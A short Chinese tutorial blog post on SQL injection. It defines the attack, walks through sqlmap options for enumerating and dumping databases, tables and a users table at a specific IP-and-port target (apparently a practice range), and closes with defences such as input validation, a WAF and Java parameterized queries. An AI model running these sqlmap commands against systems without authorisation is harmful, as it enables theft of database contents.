网络安全-SQL注入

目录

SQL注入的定义

SQL注入的利用

自动化工具SQLMAP

靶场、实战练习

Bugku平台

SQL注入防御

输入验证

参数化查询


SQL注入的定义

SQL注入是一种常见的网络安全攻击技术,攻击者通过在用户输入的数据中插入恶意的SQL代码,欺骗后端数据库执行非预期的操作。这种攻击通常发生在应用程序未对用户输入进行充分验证或过滤的情况下,导致数据库被非法访问、篡改或泄露敏感信息。

SQL注入的利用

自动化工具SQLMAP

基础用法

复制代码
python sqlmap.py -u URL

示例:

复制代码
python sqlmap.py -u http://49.232.142.230:12470/filter?category=Sport

--dbs 查看数据库

示例:

复制代码
python sqlmap.py -u http://49.232.142.230:12470/filter?category=Sport --dbs

-D 指定对应数据库(如果没有则不用指定)

--tables 查看对应数据库名(如果没有则不用指定)的所有表

示例

复制代码
python sqlmap.py -u http://49.232.142.230:12470/filter?category=Sport --tables -D dbname

-T 指定对应表

--columns 查看对应表的所有列名

复制代码
python sqlmap.py -u http://49.232.142.230:12470/filter?category=Sport -T users --columns

--dump 列出所有值 可指定具体到列,也可以直接指定表,将表的内容都显示出来

示例:

复制代码
python sqlmap.py -u http://49.232.142.230:12470/filter?category=Sport -T users -D dbname --dump

靶场、实战练习

Bugku平台

Bugku 2023 HackINI Virtual Shop-CSDN博客

SQL注入防御

输入验证

Web应用防火墙WAF

参数化查询

使用参数化查询(预编译语句)是最有效的防御方法。

例如在Java中使用PreparedStatement:

java 复制代码
String query = "SELECT * FROM users WHERE username=? AND password=?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, username);
stmt.setString(2, password);
 
相关推荐
王仲肖14 小时前
PostgreSQL查询执行阶段 — 总结与执行计划选择指南
数据库·postgresql
解救女汉子14 小时前
Bootstrap Gutters间距用法 Bootstrap 5中g-,gx-,gy--如何使用
jvm·数据库·python
2401_8877245014 小时前
JavaScript中Object-hasOwn作为现代安全检测方案
jvm·数据库·python
qq_3345635514 小时前
如何利用RETURNING获取ROWID_更新单行后快速定位物理地址
jvm·数据库·python
zhangchaoxies14 小时前
HTML怎么显示同步最后成功时间_HTML “上次同步:X分钟前”【教程】
jvm·数据库·python
m0_5145205714 小时前
mysql服务器如何优化网络传输设置_调整tcp相关内核参数
jvm·数据库·python
m0_6403093014 小时前
如何快速重置SQL表中的自增ID_使用ALTER TABLE重置计数
jvm·数据库·python
2301_7641505614 小时前
CSS如何制作响应式导航栏_利用Flexbox实现自适应水平排列
jvm·数据库·python
qq_3345635514 小时前
HTML怎么创建表格_HTML表格结构与基本语法【教程】
jvm·数据库·python
yejqvow1214 小时前
C#怎么实现缓存功能 C#如何用MemoryCache和Redis实现数据缓存提升访问速度【架构】
jvm·数据库·python